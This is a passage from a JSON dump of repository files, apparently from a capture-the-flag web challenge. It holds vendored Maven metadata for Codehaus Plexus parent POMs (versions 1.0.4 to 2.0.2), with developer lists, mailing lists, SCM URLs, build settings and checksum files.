<email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-1.0.12</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-1.0.12</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-1.0.12</url>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.4</source>\n          <target>1.4</target>\n        </configuration>\n      </plugin>\n      <!--\n      <plugin>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <version>1.0-alpha-2</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.1.1-SNAPSHOT</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      -->\n    </plugins>\n    <!-- As of 2.0.9, maven includes webdav.\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-rc1-SNAPSHOT</version>\n      </extension>\n    </extensions>\n    -->\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <goals>deploy</goals>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.12/plexus-1.0.12.pom.sha1",
    "content": "71d4361c71c7454a2626f3e18c789747256fe0b1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:16 CST 2018\nplexus-1.0.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>1.0.4</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <host>irc.codehaus.org</host>\n          <port>6667</port>\n          <channel>#plexus</channel>\n        </configuration>\n      </notifier>      \n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/plexus-dev/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <distributionManagement>\n    <repository>\n      <id>repo1</id>\n      <name>Maven Central Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>snapshots</id>\n      <name>Maven Central Development Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <repositories>\n    <repository>\n      <id>snapshots</id>\n      <name>Maven Snapshot Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <id>snapshots-plugins</id>\n      <name>Maven Snapshot Plugins Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </pluginRepository>\n  </pluginRepositories>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email></email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugst&oslash;l</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <scm>\n    <connection>scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/trunk</developerConnection>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <modules>\n    <module>plexus-appserver</module>\n    <module>plexus-archetypes</module>\n    <module>plexus-components</module>\n    <module>plexus-component-factories</module>\n    <module>plexus-containers</module>\n    <module>plexus-logging</module>\n    <module>plexus-maven-plugin</module>\n    <module>plexus-services</module>\n    <module>plexus-tools</module>\n    <module>plexus-utils</module>\n  </modules>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/tags</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom.sha1",
    "content": "06f66b2f7d2eef1d805c11bca91c89984cda4137  /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus/1.0.4/plexus-1.0.4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:26 CST 2018\nplexus-1.0.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.8/plexus-1.0.8.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>1.0.8</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <host>irc.codehaus.org</host>\n          <port>6667</port>\n          <channel>#plexus</channel>\n        </configuration>\n      </notifier>      \n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/plexus-dev/</archive>\n    </mailingList>\n  </mailingLists>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/plexus</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Development Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/plexus</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n  <repositories>\n    <repository>\n      <id>apache-snapshots</id>\n      <name>Snapshot repository</name>\n      <url>http://people.apache.org/maven-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n    <repository>\n      <id>codehaus-snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <id>codehaus-snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </pluginRepository>\n  </pluginRepositories>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email></email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstol</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/trunk/</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/trunk</developerConnection>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <modules>\n    <!--\n    \n    Until the bug is fixed in Maven which is pulling in the trunk to the\n    appserver build.\n    <module>plexus-appserver</module>\n    -->\n    <module>plexus-archetypes</module>\n    <module>plexus-examples</module>\n    <module>plexus-components</module>\n    <module>plexus-component-factories</module>\n    <module>plexus-containers</module>\n    <module>plexus-logging</module>\n    <module>plexus-maven-plugin</module>\n    <module>plexus-tools</module>\n    <module>plexus-utils</module>\n  </modules>\n  <build>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-1</version>\n      </extension>\n    </extensions>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/tags</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.8/plexus-1.0.8.pom.sha1",
    "content": "9e7c8432829962afe796b32587c1bfa841a317d5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:08 CST 2018\nplexus-1.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.9/plexus-1.0.9.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>1.0.9</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <host>irc.codehaus.org</host>\n          <port>6667</port>\n          <channel>#plexus</channel>\n        </configuration>\n      </notifier>      \n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n\n  <distributionManagement>\n    <repository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Repository</name>\n      <url>dav:https://dav.codehaus.org/repository/plexus</url>\n    </repository>\n    <snapshotRepository>\n      <id>codehaus.org</id>\n      <name>Plexus Central Development Repository</name>\n      <url>dav:https://dav.codehaus.org/snapshots.repository/plexus</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n  <repositories>\n    <repository>\n      <id>apache-snapshots</id>\n      <name>Snapshot repository</name>\n      <url>http://people.apache.org/maven-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n    <repository>\n      <id>codehaus-snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <id>codehaus-snapshots</id>\n      <name>Codehaus Snapshot Development Repository</name>\n      <url>http://snapshots.repository.codehaus.org</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </pluginRepository>\n  </pluginRepositories>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstol</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-1.0.9</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-1.0.9</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-1.0.9</url>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-1</version>\n      </extension>\n    </extensions>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/1.0.9/plexus-1.0.9.pom.sha1",
    "content": "89d241b1e5ee6a72d3dd95d9eb90f635deebcdb2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:37 CST 2018\nplexus-2.0.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <name>Plexus</name>\n  <version>2.0.2</version>\n  <url>http://plexus.codehaus.org/</url>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>http://oss.repository.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>    \n  </properties>\n  \n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>http://oss.repository.sonatype.org/content/repositories/plexus-releases</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      